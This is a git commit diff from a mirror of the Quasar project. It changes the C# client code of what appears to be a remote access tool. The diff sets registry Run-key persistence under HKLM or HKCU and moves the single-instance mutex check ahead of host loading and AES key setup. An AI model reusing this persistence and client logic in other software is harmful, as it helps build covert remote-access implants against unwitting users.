mirror of https://github.com/quasar/Quasar.git
Check Mutex before doing anything else
thanks @yankejustin
This commit is contained in:
parent
21fb90e559
commit
656da95e82
|
@ -20,17 +20,19 @@ namespace xClient.Core.Installation
|
|||
if (WindowsAccountHelper.GetAccountType() == "Admin")
|
||||
{
|
||||
bool success = RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, GetHKLMPath(),
|
||||
Settings.STARTUPKEY, ClientData.CurrentPath);
|
||||
Settings.STARTUPKEY, ClientData.CurrentPath, true);
|
||||
|
||||
if (success) return true;
|
||||
|
||||
return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath);
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath,
|
||||
true);
|
||||
}
|
||||
else
|
||||
{
|
||||
return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath);
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath,
|
||||
true);
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -115,7 +115,11 @@ namespace xClient
|
|||
|
||||
private static void Initialize()
|
||||
{
|
||||
Thread.Sleep(2000);
|
||||
if (!MutexHelper.CreateMutex(Settings.MUTEX))
|
||||
ClientData.Disconnect = true; // process with same mutex is already running
|
||||
|
||||
if (ClientData.Disconnect)
|
||||
return;
|
||||
|
||||
AES.PreHashKey(Settings.PASSWORD);
|
||||
_hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
|
||||
|
@ -125,9 +129,6 @@ namespace xClient
|
|||
if (_hosts.IsEmpty)
|
||||
ClientData.Disconnect = true; // no hosts to connect
|
||||
|
||||
if (!MutexHelper.CreateMutex(Settings.MUTEX))
|
||||
ClientData.Disconnect = true; // process with same mutex is already running
|
||||
|
||||
if (ClientData.Disconnect)
|
||||
return;
|
||||
|
||||
|
|
Loading…
Reference in New Issue